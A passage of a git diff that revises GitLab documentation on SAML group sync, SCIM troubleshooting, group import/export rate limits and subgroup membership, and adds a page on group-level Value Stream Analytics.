+ <saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">true</saml2:AttributeValue>
+ </saml2:Attribute>
+ <saml2:Attribute Name="projects_limit" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
+ <saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">10</saml2:AttributeValue>
+ </saml2:Attribute>
+ </saml2:AttributeStatement>
+```
### Role
@@ -238,10 +286,53 @@ Users can unlink SAML for a group from their profile page. This can be helpful i
- You no longer want a group to be able to sign you in to GitLab.com.
- Your SAML NameID has changed and so GitLab can no longer find your user.
-For example, to unlink the `MyOrg` account, the following **Disconnect** button will be available under **Profile > Accounts**:
+WARNING:
+Unlinking an account removes all roles assigned to that user within the group.
+If a user relinks their account, roles need to be reassigned.
+
+For example, to unlink the `MyOrg` account, the following **Disconnect** button is available under **Profile > Accounts**:
![Unlink Group SAML](img/unlink_group_saml.png)
+## Group Sync
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For a demo of Group Sync using Azure, see [Demo: SAML Group Sync](https://youtu.be/Iqvo2tJfXjg).
+
+When the SAML response includes a user and their group memberships from the SAML identity provider,
+GitLab uses that information to automatically manage that user's GitLab group memberships.
+
+Ensure your SAML identity provider sends an attribute statement named `Groups` or `groups` like the following:
+
+```xml
+<saml:AttributeStatement>
+ <saml:Attribute Name="Groups">
+ <saml:AttributeValue xsi:type="xs:string">Developers</saml:AttributeValue>
+ <saml:AttributeValue xsi:type="xs:string">Product Managers</saml:AttributeValue>
+ </saml:Attribute>
+</saml:AttributeStatement>
+```
+
+When SAML SSO is enabled for the top-level group, `Maintainer` and `Owner` level users
+see a new menu item in group **Settings -> SAML Group Links**. Each group (parent or subgroup) can specify
+one or more group links to map a SAML identity provider group name to a GitLab access level.
+
+![SAML Group Links navigation](img/saml_group_links_nav_v13_6.png)
+
+To link the SAML `Freelancers` group in the attribute statement example above:
+
+1. Enter `Freelancers` in the `SAML Group Name` field.
+1. Choose the desired `Access Level`.
+1. **Save** the group link.
+1. Repeat to add additional group links if desired.
+
+![SAML Group Links](img/saml_group_links_v13_6.png)
+
+If a user is a member of multiple SAML groups mapped to the same GitLab group,
+the user gets the highest access level from the groups. For example, if one group
+is linked as `Guest` and another `Maintainer`, a user in both groups gets `Maintainer`
+access.
+
## Glossary
| Term | Description |
@@ -250,7 +341,7 @@ For example, to unlink the `MyOrg` account, the following **Disconnect** button
| Service Provider | SAML considers GitLab to be a service provider. |
| Assertion | A piece of information about a user's identity, such as their name or role. Also know as claims or attributes. |
| SSO | Single Sign On. |
-| Assertion consumer service URL | The callback on GitLab where users will be redirected after successfully authenticating with the identity provider. |
+| Assertion consumer service URL | The callback on GitLab where users are redirected after successfully authenticating with the identity provider. |
| Issuer | How GitLab identifies itself to the identity provider. Also known as a "Relying party trust identifier". |
| Certificate fingerprint | Used to confirm that communications over SAML are secure by checking that the server is signing communications with the correct certificate. Also known as a certificate thumbprint. |
diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md
index 7c089a289c6..40c036e1fc0 100644
--- a/doc/user/group/saml_sso/scim_setup.md
+++ b/doc/user/group/saml_sso/scim_setup.md
@@ -2,7 +2,7 @@
type: howto, reference
stage: Manage
group: Access
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# SCIM provisioning using SAML SSO for GitLab.com groups **(SILVER ONLY)**
@@ -13,7 +13,7 @@ System for Cross-domain Identity Management (SCIM), is an open standard that ena
automation of user provisioning. When SCIM is provisioned for a GitLab group, membership of
that group is synchronized between GitLab and the identity provider.
-GitLab's [SCIM API](../../../api/scim.md) implements part of [the RFC7644 protocol](https://tools.ietf.org/html/rfc7644).
+The GitLab [SCIM API](../../../api/scim.md) implements part of [the RFC7644 protocol](https://tools.ietf.org/html/rfc7644).
## Features
@@ -92,14 +92,14 @@ You can then test the connection by clicking on **Test Connection**. If the conn
1. Save your changes. For reference, you can view [an example configuration in the troubleshooting reference](../../../administration/troubleshooting/group_saml_scim.md#azure-active-directory).
- NOTE: **Note:**
+ NOTE:
If you used a unique identifier **other than** `objectId`, be sure to map it to `externalId`.
1. Below the mapping list click on **Show advanced options > Edit attribute list for AppName**.
1. Ensure the `id` is the primary and required field, and `externalId` is also required.
- NOTE: **Note:**
+ NOTE:
`username` should neither be primary nor required as we don't support
that field on GitLab SCIM yet.
@@ -108,15 +108,15 @@ You can then test the connection by clicking on **Test Connection**. If the conn
![Provisioning status toggle switch](img/scim_provisioning_status.png)
- NOTE: **Note:**
+ NOTE:
You can control what is actually synced by selecting the `Scope`. For example,
`Sync only assigned users and groups` only syncs the users assigned to
the application (`Users and groups`), otherwise, it syncs the whole Active Directory.
Once enabled, the synchronization details and any errors appears on the
-bottom of the **Provisioning** screen, together with a link to the audit logs.
+bottom of the **Provisioning** screen, together with a link to the audit events.
-CAUTION: **Warning:**
+WARNING:
Once synchronized, changing the field mapped to `id` and `externalId` may cause a number of errors. These include provisioning errors, duplicate users, and may prevent existing users from accessing the GitLab group.
### Okta configuration steps
@@ -132,7 +132,7 @@ configuration. Otherwise, the Okta SCIM app may not work properly.
1. If you see an **Admin** button in the top right, click the button. This will
ensure you are in the Admin area.
- TIP: **Tip:**
+ NOTE:
If you're using the Developer Console, click **Developer Console** in the top
bar and select **Classic UI**. Otherwise, you may not see the buttons described
in the following steps:
@@ -194,7 +194,7 @@ provider or users list for the specific app.
Upon the next sync, the user is deprovisioned, which means that the user is removed from the group.
-NOTE: **Note:**
+NOTE:
Deprovisioning does not delete the user account.
```mermaid
@@ -240,7 +240,7 @@ To see how the `external_uid` compares to the value returned as the SAML NameId,
Whether the value was changed or you need to map to a different field, ensure `id`, `externalId`, and `NameId` all map to the same field.
-If GitLab's `externalId` doesn't match the SAML NameId, it will need to be updated in order for the user to log in. Ideally your identity provider will be configured to do such an update, but in some cases it may be unable to do so, such as when looking up a user fails due to an ID change.
+If the GitLab `externalId` doesn't match the SAML NameId, it needs to be updated in order for the user to sign in. Ideally your identity provider is configured to do such an update, but in some cases it may be unable to do so, such as when looking up a user fails due to an ID change.
Be cautious if you revise the fields used by your SCIM identity provider, typically `id` and `externalId`.
We use these IDs to look up users. If the identity provider does not know the current values for these fields,
@@ -262,6 +262,15 @@ Individual users can follow the instructions in the ["SAML authentication failed
Alternatively, users can be removed from the SCIM app which will delink all removed users. Sync can then be turned on for the new SCIM app to [link existing users](#user-access-and-linking-setup).
+### The SCIM app is throwing `"User has already been taken","status":409` error message
+
+Changing the SAML or SCIM configuration or provider can cause the following problems:
+
+| Problem | Solution |
+|------------------------------------------------------------------------------|--------------------|
+| SAML and SCIM identity mismatch. | First [verify that the user's SAML NameId matches the SCIM externalId](#how-do-i-verify-users-saml-nameid-matches-the-scim-externalid) and then [update or fix the mismatched SCIM externalId and SAML NameId](#update-or-fix-mismatched-scim-externalid-and-saml-nameid). |
+| SCIM identity mismatch between GitLab and the Identify Provider SCIM app. | You can confirm whether you're hitting the error because of your SCIM identity mismatch between your SCIM app and GitLab.com by using [SCIM API](../../../api/scim.md#update-a-single-saml-user) which shows up in the `id` key and compares it with the user `externalId` in the SCIM app. You can use the same [SCIM API](../../../api/scim.md#update-a-single-saml-user) to update the SCIM `id` for the user on GitLab.com. |
+
### Azure
#### How do I verify my SCIM configuration is correct?
@@ -283,7 +292,7 @@ When testing the connection, you may encounter an error: **You appear to have en
#### (Field) can't be blank sync error
-When checking the Audit Logs for the Provisioning, you can sometimes see the
+When checking the Audit Events for the Provisioning, you can sometimes see the
error `Namespace can't be blank, Name can't be blank, and User can't be blank.`
This is likely caused because not all required fields (such as first name and last name) are present for all users being mapped.
diff --git a/doc/user/group/security_dashboard/index.md b/doc/user/group/security_dashboard/index.md
index c59198df081..3feccf2e342 100644
--- a/doc/user/group/security_dashboard/index.md
+++ b/doc/user/group/security_dashboard/index.md
@@ -3,3 +3,6 @@ redirect_to: '../../application_security/security_dashboard/index.md'
---
This document was moved to [another location](../../application_security/security_dashboard/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/group/settings/import_export.md b/doc/user/group/settings/import_export.md
index 77cb862a49d..2aee8706194 100644
--- a/doc/user/group/settings/import_export.md
+++ b/doc/user/group/settings/import_export.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group Import/Export
@@ -55,7 +55,7 @@ The following items are **not** exported:
- Runner tokens
- SAML discovery tokens
-NOTE: **Note:**
+NOTE:
For more details on the specific data persisted in a group export, see the
[`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/import_export/group/import_export.yml) file.
@@ -75,7 +75,7 @@ For more details on the specific data persisted in a group export, see the
1. Alternatively, you can come back to the project settings and download the
file from there by clicking **Download export**, or generate a new file by clicking **Regenerate export**.
-NOTE: **Note:**
+NOTE:
The maximum import file size can be set by the Administrator, default is 50MB.
As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](../../../api/settings.md#change-application-settings) or the [Admin UI](../../admin_area/settings/account_and_limit_settings.md).
@@ -121,10 +121,12 @@ For example:
## Rate Limits
-To help avoid abuse, users are rate limited to:
+To help avoid abuse, by default, users are rate limited to:
| Request Type | Limit |
| ---------------- | ---------------------------------------- |
-| Export | 30 groups every 5 minutes |
-| Download export | 10 downloads per group every 10 minutes |
-| Import | 30 groups every 5 minutes |
+| Export | 6 groups per minute |
+| Download export | 1 download per group per minute |
+| Import | 6 groups per minute |
+
+Please note that GitLab.com may have [different settings](../../gitlab_com/index.md#importexport) from the defaults.
diff --git a/doc/user/group/subgroups/img/group_members.png b/doc/user/group/subgroups/img/group_members.png
deleted file mode 100644
index 830ccafa794..00000000000
--- a/doc/user/group/subgroups/img/group_members.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/subgroups/img/group_members_13_7.png b/doc/user/group/subgroups/img/group_members_13_7.png
new file mode 100644
index 00000000000..ab22bcb932c
--- /dev/null
+++ b/doc/user/group/subgroups/img/group_members_13_7.png
Binary files differ
diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md
index 268014a3cd2..8af075fc0c0 100644
--- a/doc/user/group/subgroups/index.md
+++ b/doc/user/group/subgroups/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference, howto, concepts
---
@@ -109,16 +109,16 @@ To create a subgroup:
![Subgroups page](img/create_new_group.png)
-1. Click the **Create group** button and you will be taken to the new group's
+1. Click the **Create group** button to be redirected to the new group's
dashboard page.
Follow the same process to create any subsequent groups.
## Membership
-When you add a member to a subgroup, they inherit the membership and permission
-level from the parent group(s). This model allows access to nested groups if you
-have membership in one of its parents.
+When you add a member to a group, that member is also added to all subgroups.
+Permission level is inherited from the group’s parent. This model allows access to
+subgroups if you have membership in one of its parents.
Jobs for pipelines in subgroups can use [runners](../../../ci/runners/README.md) registered to the parent group(s).
This means secrets configured for the parent group are available to subgroup jobs.
@@ -131,49 +131,41 @@ the **Members** page of the group the member was added.
You can tell if a member has inherited the permissions from a parent group by
looking at the group's **Members** page.
-![Group members page](img/group_members.png)
+![Group members page](img/group_members_13_7.png)
From the image above, we can deduce the following things:
- There are 5 members that have access to the group `four`.
-- User0 is a Reporter and has inherited their permissions from group `one`
+- User 0 is a Reporter and has inherited their permissions from group `one`
which is above the hierarchy of group `four`.
-- User1 is a Developer and has inherited their permissions from group
+- User 1 is a Developer and has inherited their permissions from group
`one/two` which is above the hierarchy of group `four`.
-- User2 is a Developer and has inherited their permissions from group
+- User 2 is a Developer and has inherited their permissions from group
`one/two/three` which is above the hierarchy of group `four`.
-- For User3 there is no indication of a parent group, therefore they belong to
+- For User 3 the **Source** column indicates **Direct member**, therefore they belong to
group `four`, the one we're inspecting.
- Administrator is the Owner and member of **all** subgroups and for that reason,
- as with User3, there is no indication of an ancestor group.
+ as with User 3, the **Source** column indicates **Direct member**.
-[From](https://gitlab.com/gitlab-org/gitlab/-/issues/21727) GitLab 12.6, you can filter
-this list using dropdown on the right side:
-
-![Group members filter](img/group_members_filter_v12_6.png)
-
-- **Show only direct members** displays only Administrator and User3, since these are
- the only users that belong to group `four`, which is the one we're inspecting.
-- **Show only inherited members** displays User0, User1 and User2, no matter which group
- above the hierarchy is the source of inherited permissions.
+Members can be [filtered by inherited or direct membership](../index.md#membership-filter).
### Overriding the ancestor group membership
-NOTE: **Note:**
+NOTE:
You must be an Owner of a group to be able to add members to it.
-NOTE: **Note:**
+NOTE:
A user's permissions in a subgroup cannot be lower than in any of its ancestor groups.
Therefore, you cannot reduce a user's permissions in a subgroup with respect to its ancestor groups.
To override a user's membership of an ancestor group (the first group they were
added to), add the user to the new subgroup again with a higher set of permissions.
-For example, if User0 was first added to group `group-1/group-1-1` with Developer
-permissions, then they will inherit those permissions in every other subgroup
-of `group-1/group-1-1`. To give them Maintainer access to `group-1/group-1-1/group1-1-1`,
+For example, if User 1 was first added to group `one/two` with Developer
+permissions, then they inherit those permissions in every other subgroup
+of `one/two`. To give them Maintainer access to group `one/two/three/four`,
you would add them again in that group as Maintainer. Removing them from that group,
-the permissions will fallback to those of the ancestor group.
+the permissions fall back to those of the ancestor group.
## Mentioning subgroups
diff --git a/doc/user/analytics/img/delete_value_stream_v13.4.png b/doc/user/group/value_stream_analytics/img/delete_value_stream_v13.4.png
index c97fcb76343..c97fcb76343 100644
--- a/doc/user/analytics/img/delete_value_stream_v13.4.png
+++ b/doc/user/group/value_stream_analytics/img/delete_value_stream_v13.4.png
Binary files differ
diff --git a/doc/user/analytics/img/label_based_stage_vsm_v12_9.png b/doc/user/group/value_stream_analytics/img/label_based_stage_vsm_v12_9.png
index 84ce33aece5..84ce33aece5 100644
--- a/doc/user/analytics/img/label_based_stage_vsm_v12_9.png
+++ b/doc/user/group/value_stream_analytics/img/label_based_stage_vsm_v12_9.png
Binary files differ
diff --git a/doc/user/analytics/img/new_value_stream_v13_3.png b/doc/user/group/value_stream_analytics/img/new_value_stream_v13_3.png
index bc8502e85a6..bc8502e85a6 100644
--- a/doc/user/analytics/img/new_value_stream_v13_3.png
+++ b/doc/user/group/value_stream_analytics/img/new_value_stream_v13_3.png
Binary files differ
diff --git a/doc/user/analytics/img/new_vsm_stage_v12_9.png b/doc/user/group/value_stream_analytics/img/new_vsm_stage_v12_9.png
index dbef25d33ed..dbef25d33ed 100644
--- a/doc/user/analytics/img/new_vsm_stage_v12_9.png
+++ b/doc/user/group/value_stream_analytics/img/new_vsm_stage_v12_9.png
Binary files differ
diff --git a/doc/user/analytics/img/vsa_filter_bar_v13.3.png b/doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13.3.png
index 506765f63cb..506765f63cb 100644
--- a/doc/user/analytics/img/vsa_filter_bar_v13.3.png
+++ b/doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13.3.png
Binary files differ
diff --git a/doc/user/analytics/img/vsa_time_metrics_v13_0.png b/doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_0.png
index 799a81584a0..799a81584a0 100644
--- a/doc/user/analytics/img/vsa_time_metrics_v13_0.png
+++ b/doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_0.png
Binary files differ
diff --git a/doc/user/analytics/img/vsm_stage_list_v12_9.png b/doc/user/group/value_stream_analytics/img/vsm_stage_list_v12_9.png
index 3b50dd48543..3b50dd48543 100644
--- a/doc/user/analytics/img/vsm_stage_list_v12_9.png
+++ b/doc/user/group/value_stream_analytics/img/vsm_stage_list_v12_9.png
Binary files differ
diff --git a/doc/user/group/value_stream_analytics/index.md b/doc/user/group/value_stream_analytics/index.md
new file mode 100644
index 00000000000..0f9afdef995
--- /dev/null
+++ b/doc/user/group/value_stream_analytics/index.md
@@ -0,0 +1,375 @@
+---
+type: reference
+stage: Manage
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# Value Stream Analytics **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196455) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.9 at the group level.
+
+Value Stream Analytics measures the time spent to go from an
+[idea to production](https://about.gitlab.com/blog/2016/08/05/continuous-integration-delivery-and-deployment-with-gitlab/#from-idea-to-production-with-gitlab)
+(also known as cycle time) for each of your projects or groups. Value Stream Analytics displays the median time
+spent in each stage defined in the process.
+
+Value Stream Analytics can help you quickly determine the velocity of a given
+group. It points to bottlenecks in the development process, enabling management
+to uncover, triage, and identify the root cause of slowdowns in the software development life cycle.
+
+For information on how to contribute to the development of Value Stream Analytics, see our [contributor documentation](../../../development/value_stream_analytics.md).
+
+Group-level Value Stream Analytics is available via **Group > Analytics > Value Stream**.
+
+[Project-level Value Stream Analytics](../../analytics/value_stream_analytics.md) is also available.
+
+## Default stages
+
+The stages tracked by Value Stream Analytics by default represent the [GitLab flow](../../../topics/gitlab_flow.md). These stages can be customized in Group Level Value Stream Analytics.
+
+- **Issue** (Tracker)
+ - Time to schedule an issue (by milestone or by adding it to an issue board)
+- **Plan** (Board)
+ - Time to first commit
+- **Code** (IDE)
+ - Time to create a merge request
+- **Test** (CI)
+ - Time it takes GitLab CI/CD to test your code
+- **Review** (Merge Request/MR)
+ - Time spent on code review
+- **Staging** (Continuous Deployment)
+ - Time between merging and deploying to production
+
+## Filter the analytics data
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13216) in GitLab 13.3
+
+GitLab provides the ability to filter analytics based on the following parameters:
+
+- Milestones (Group level)
+- Labels (Group level)
+- Author
+- Assignees
+
+To filter results:
+
+1. Select a group.
+1. Click on the filter bar.
+1. Select a parameter to filter by.
+1. Select a value from the autocompleted results, or type to refine the results.
+
+![Value stream analytics filter bar](img/vsa_filter_bar_v13.3.png "Active filter bar for value stream analytics")
+
+### Date ranges
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13216) in GitLab 12.4.
+
+GitLab provides the ability to filter analytics based on a date range. To filter results:
+
+1. Select a group.
+1. Optionally select a project.
+1. Select a date range using the available date pickers.
+
+## How Time metrics are measured
+
+The "Time" metrics near the top of the page are measured as follows:
+
+- **Lead time**: median time from issue created to issue closed.
+- **Cycle time**: median time from first commit to issue closed.
+
+A commit is associated with an issue by [crosslinking](../../project/issues/crosslinking_issues.md) in the commit message or by manually linking the merge request containing the commit.
+
+![Value stream analytics time metrics](img/vsa_time_metrics_v13_0.png "Time metrics for value stream analytics")
+
+## How the stages are measured
+
+Value Stream Analytics records stage time and data based on the project issues with the
+exception of the staging stage, where only data deployed to
+production are measured.
+
+Specifically, if your CI is not set up and you have not defined a [production environment](#how-the-production-environment-is-identified), then you will not have any
+data for this stage.
+
+Each stage of Value Stream Analytics is further described in the table below.
+
+| **Stage** | **Description** |
+| --------- | --------------- |
+| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whatever comes first. The label will be tracked only if it already has an [Issue Board list](../../project/issue_board.md) created for it. |
+| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. The very first commit of the branch is the one that triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch needs to contain the related issue number (e.g., `#42`). If none of the commits in the branch mention the related issue number, it is not considered to the measurement time of the stage. |
+| Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR) related to that commit. The key to keep the process tracked is to include the [issue closing pattern](../../project/issues/managing_issues.md#closing-issues-automatically) to the description of the merge request (for example, `Closes #xxx`, where `xxx` is the number of the issue related to this merge request). If the closing pattern is not present, then the calculation takes the creation time of the first commit in the merge request as the start time. |
+| Test | Measures the median time to run the entire pipeline for that project. It's related to the time GitLab CI/CD takes to run every job for the commits pushed to that merge request defined in the previous stage. It is basically the start->finish time for all pipelines. |
+| Review | Measures the median time taken to review the merge request that has a closing issue pattern, between its creation and until it's merged. |
+| Staging | Measures the median time between merging the merge request with a closing issue pattern until the very first deployment to a [production environment](#how-the-production-environment-is-identified). If there isn't a production environment, this is not tracked. |
+
+How this works, behind the scenes:
+
+1. Issues and merge requests are grouped together in pairs, such that for each
+ `<issue, merge request>` pair, the merge request has the [issue closing pattern](../../project/issues/managing_issues.md#closing-issues-automatically)
+ for the corresponding issue. All other issues and merge requests are **not**
+ considered.
+1. Then the `<issue, merge request>` pairs are filtered out by last XX days (specified
+ by the UI - default is 90 days). So it prohibits these pairs from being considered.
+1. For the remaining `<issue, merge request>` pairs, we check the information that
+ we need for the stages, like issue creation date, merge request merge time,
+ etc.
+
+To sum up, anything that doesn't follow [GitLab flow](../../../topics/gitlab_flow.md) will not be tracked and the
+Value Stream Analytics dashboard will not present any data for:
+
+- Merge requests that do not close an issue.
+- Issues not labeled with a label present in the Issue Board or for issues not assigned a milestone.
+- Staging stage, if the project has no [production environment](#how-the-production-environment-is-identified).
+
+## How the production environment is identified
+
+Value Stream Analytics identifies production environments by looking for project [environments](../../../ci/yaml/README.md#environment) with a name matching any of these patterns:
+
+- `prod` or `prod/*`
+- `production` or `production/*`
+
+These patterns are not case-sensitive.
+
+You can change the name of a project environment in your GitLab CI/CD configuration.
+
+## Example workflow
+
+Below is a simple fictional workflow of a single cycle that happens in a
+single day through all noted stages. Note that if a stage does not include a start
+and a stop time, its data is not included in the median time. It is assumed that
+milestones are created and a CI for testing and setting environments is configured.
+a start and a stop mark, it is not measured and hence not calculated in the median
+time. It is assumed that milestones are created and CI for testing and setting
+environments is configured.
+
+1. Issue is created at 09:00 (start of **Issue** stage).
+1. Issue is added to a milestone at 11:00 (stop of **Issue** stage / start of
+ **Plan** stage).
+1. Start working on the issue, create a branch locally and make one commit at
+ 12:00.
+1. Make a second commit to the branch which mentions the issue number at 12.30
+ (stop of **Plan** stage / start of **Code** stage).
+1. Push branch and create a merge request that contains the [issue closing pattern](../../project/issues/managing_issues.md#closing-issues-automatically)
+ in its description at 14:00 (stop of **Code** stage / start of **Test** and
+ **Review** stages).
+1. The CI starts running your scripts defined in [`.gitlab-ci.yml`](../../../ci/yaml/README.md) and
+ takes 5min (stop of **Test** stage).
+1. Review merge request, ensure that everything is OK and merge the merge
+ request at 19:00. (stop of **Review** stage / start of **Staging** stage).
+1. Now that the merge request is merged, a deployment to the `production`
+ environment starts and finishes at 19:30 (stop of **Staging** stage).
+
+From the above example you can conclude the time it took each stage to complete
+as long as their total time:
+
+- **Issue**: 2h (11:00 - 09:00)
+- **Plan**: 1h (12:00 - 11:00)
+- **Code**: 2h (14:00 - 12:00)
+- **Test**: 5min
+- **Review**: 5h (19:00 - 14:00)
+- **Staging**: 30min (19:30 - 19:00)
+
+A few notes:
+
+- In the above example we demonstrated that it doesn't matter if your first
+ commit doesn't mention the issue number, you can do this later in any commit
+ of the branch you are working on.
+- You can see that the **Test** stage is not calculated to the overall time of
+ the cycle since it is included in the **Review** process (every MR should be
+ tested).
+- The example above was just **one cycle** of the seven stages. Add multiple
+ cycles, calculate their median time and the result is what the dashboard of
+ Value Stream Analytics is showing.
+
+## Customizable Stages
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12196) in GitLab 12.9.
+
+The default stages are designed to work straight out of the box, but they might not be suitable for
+all teams. Different teams use different approaches to building software, so some teams might want
+to customize their Value Stream Analytics.
+
+GitLab allows users to create multiple value streams, hide default stages and create custom stages that align better to their development workflow.
+
+### Stage path
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210315) in GitLab 13.0.
+
+Stages are visually depicted as a horizontal process flow. Selecting a stage will update the
+the content below the value stream.
+
+This is disabled by default. If you have a self-managed instance, an
+administrator can [open a Rails console](../../../administration/troubleshooting/navigating_gitlab_via_rails_console.md)
+and enable it with the following command:
+
+```ruby
+Feature.enable(:value_stream_analytics_path_navigation)
+```
+
+### Adding a stage
+
+In the following example we're creating a new stage that measures and tracks issues from creation
+time until they are closed.
+
+1. Navigate to your group's **Analytics > Value Stream**.
+1. Click the **Add a stage** button.
+1. Fill in the new stage form:
+ - Name: Issue start to finish.
+ - Start event: Issue created.
+ - End event: Issue closed.
+1. Click the **Add stage** button.
+
+![New Value Stream Analytics Stage](img/new_vsm_stage_v12_9.png "Form for creating a new stage")
+
+The new stage is persisted and it will always show up on the Value Stream Analytics page for your
+group.
+
+If you want to alter or delete the stage, you can easily do that for customized stages by:
+
+1. Hovering over the stage.
+1. Clicking the vertical ellipsis (**{ellipsis_v}**) button that appears.
+
+![Value Stream Analytics Stages](img/vsm_stage_list_v12_9.png)
+
+Creating a custom stage requires specifying two events:
+
+- A start.
+- An end.
+
+Be careful to choose a start event that occurs *before* your end event. For example, consider a
+stage that:
+
+- Started when an issue is added to a board.
+- Ended when the issue is created.
+
+This stage would not work because the end event has already happened when the start event occurs.
+To prevent such invalid stages, the UI prohibits incompatible start and end events. After you select
+the start event, the stop event dropdown will only list the compatible events.
+
+### Re-ordering stages
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196698) in GitLab 12.10.
+
+Once a custom stage has been added, you can "drag and drop" stages to rearrange their order. These changes are automatically saved to the system.
+
+### Label based stages
+
+The pre-defined start and end events can cover many use cases involving both issues and merge requests.
+
+For supporting more complex workflows, use stages based on group labels. These events are based on
+labels being added or removed. In particular, [scoped labels](../../project/labels.md#scoped-labels)
+are useful for complex workflows.
+
+In this example, we'd like to measure more accurate code review times. The workflow is the following:
+
+- When the code review starts, the reviewer adds `workflow::code_review_start` label to the merge request.
+- When the code review is finished, the reviewer adds `workflow::code_review_complete` label to the merge request.
+
+Creating a new stage called "Code Review":
+
+![New Label Based Value Stream Analytics Stage](img/label_based_stage_vsm_v12_9.png "Creating a label based Value Stream Analytics Stage")
+
+### Hiding unused stages
+
+Sometimes certain default stages are not relevant to a team. In this case, you can easily hide stages
+so they no longer appear in the list. To hide stages:
+
+1. Add a custom stage to activate customizability.
+1. Hover over the default stage you want to hide.
+1. Click the vertical ellipsis (**{ellipsis_v}**) button that appears and select **Hide stage**.
+
+To recover a default stage that was previously hidden:
+
+1. Click **Add a stage** button.
+1. In the top right corner open the **Recover hidden stage** dropdown.
+1. Select a stage.
+
+### Creating a value stream
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221202) in GitLab 13.3
+
+A default value stream is readily available for each group. You can create additional value streams based on the different areas of work that you would like to measure.
+
+Once created, a new value stream includes the [seven stages](#default-stages) that follow
+[GitLab workflow](../../../topics/gitlab_flow.md)
+best practices. You can customize this flow by adding, hiding or re-ordering stages.
+
+To create a value stream:
+
+1. Navigate to your group's **Analytics > Value Stream**.
+1. Click the Value stream dropdown and select **Create new Value Stream**
+1. Fill in a name for the new Value Stream
+1. Click the **Create Value Stream** button.
+
+![New value stream](img/new_value_stream_v13_3.png "Creating a new value stream")
+
+### Deleting a value stream
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221205) in GitLab 13.4.
+
+To delete a custom value stream:
+
+1. Navigate to your group's **Analytics > Value Stream**.
+1. Click the Value stream dropdown and select the value stream you would like to delete.
+1. Click the **Delete (name of value stream)**.
+1. Click the **Delete** button to confirm.
+
+![Delete value stream](img/delete_value_stream_v13.4.png "Deleting a custom value stream")
+
+### Disabling custom value streams
+
+Custom value streams are enabled by default. If you have a self-managed instance, an
+administrator can open a Rails console and disable them with the following command:
+
+```ruby
+Feature.disable(:value_stream_analytics_create_multiple_value_streams)
+```
+
+## Days to completion chart
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21631) in GitLab 12.6.
+> - [Chart median line removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235455) in GitLab 13.4.
+
+This chart visually depicts the total number of days it takes for cycles to be completed. (Totals are being replaced with averages in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/262070).)
+
+This chart uses the global page filters for displaying data based on the selected
+group, projects, and timeframe. In addition, specific stages can be selected
+from within the chart itself.
+
+The chart data is limited to the last 500 items.
+
+### Disabling chart
+
+This chart is enabled by default. If you have a self-managed instance, an
+administrator can open a Rails console and disable it with the following command:
+
+```ruby
+Feature.disable(:cycle_analytics_scatterplot_enabled)
+```
+
+## Type of work - Tasks by type chart
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32421) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.10.
+
+This chart shows a cumulative count of issues and merge requests per day.
+
+This chart uses the global page filters for displaying data based on the selected
+group, projects, and timeframe. The chart defaults to showing counts for issues but can be
+toggled to show data for merge requests and further refined for specific group-level labels.
+
+By default the top group-level labels (max. 10) are pre-selected, with the ability to
+select up to a total of 15 labels.
+
+## Permissions
+
+To access Group-level Value Stream Analytics, users must have Reporter access or above.
+
+You can [read more about permissions](../../permissions.md) in general.
+
+## More resources
+
